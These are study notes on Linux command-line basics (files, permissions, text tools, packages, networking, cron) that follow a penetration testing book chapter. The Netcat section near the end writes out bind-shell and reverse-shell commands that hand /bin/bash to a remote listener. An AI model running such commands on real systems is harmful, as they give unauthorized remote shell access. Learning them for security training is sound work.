Linux Command-Line
Following Chapter 2 of Georgia Weidman's Penetration Testing book.
Listing Files and Directories
ls
ls -l
ls -a
File System
cd
cd ..
cd /
cd ~/Desktop
Man Pages
man ls
ls --help
User Privileges
adduser georgia
adduser georgia sudo
su geogia
adduser john
sudo adduser john
exit
Creating a New File or Directory
touch myfile
mkdir mydirectory
ls
cd mydirectory
Copying, Moving, and Removing Files
cp /root/myfile myfile2
ls
mv myfile2 myfile3
ls
rm myfile3
Adding Text to a File
echo hello georgia
echo hello georgia > myfile
cat myfile
echo hello georgia again > myfile
cat myfile
echo hello georgia a third time >> myfile
cat myfile
File Permissions
ls -l myfile
-rw-r--r-- 1 root root 6 Aug 25 18:42 myfile
Lrwxrwxrwx
u g o
chmod 777 myfile
ls -l myfile
-rwxrwxrwx 1 root root 6 Aug 25 18:42 myfile
Editing Files
nano testfile
^W Search
vi testfile
:wq
Data Manipulation
1 Derbycon September
2 Shmoocon January
3 Brucon September
4 Blackhat July
5 Bsides *
6 HackerHalted October
7 Hackcon April
grep September myfile
grep September myfile | cut -d " " -f 2
sed 's/Blackhat/Defcon/' myfile
awk '$1 >5' myfile
awk '{print $1,$3;}' myfile
Managing Installed Packagess
Before "apt-get install", always do an update to get the latest list of available packages:
apt-get update
apt-get install armitage
This will upgrade all installed packages to the latest version:
apt-get upgrade
Repositories are in:
/etc/apt/sources.list
Processes and Services
To see running processes:
top
ps aux
To control services:
service apache2 start
service mysql stop
service networking restart
Managing Networking
ifconfig
ip addr show
route
ifconfig eth0 down
ifconfig eth0 up
ifconfig eth0 up promisc
To renew DHCP address:
dhclient -v
dhclient eth0
To set a static IP address temporarily:
ifconfig eth0 192.168.1.100/24
To remove all addresses:
ip addr flush dev eth0
To set a static IP address persistently:
nano /etc/network/interfaces
auto eth0
face eth0 inet static
address 192.168.20.9 netmask 255.255.255.0
gateway 192.168.20.1
Viewing Network Connections
netstat -antp
Netcat
Connect to a listening service:
nc 147.144.1.2 22
Listen on a port:
nc -lvp 1234
Open a Command Shell Listener (aka Bind Shell):
nc -lvp 1234 -e /bin/bash
Pushing a Command Shell Back to Listener (aka Reverse Shell):
First start a listener:
nc -lvp 1234
Push a shell to the listener:
nc 192.168.1.100 1234 -e /bin/bash
See 10 Useful IP Commands to Configure Network Interfaces
Automating Tasks with cron Jobs
ls /etc | grep cron
crontab -l
crontab -e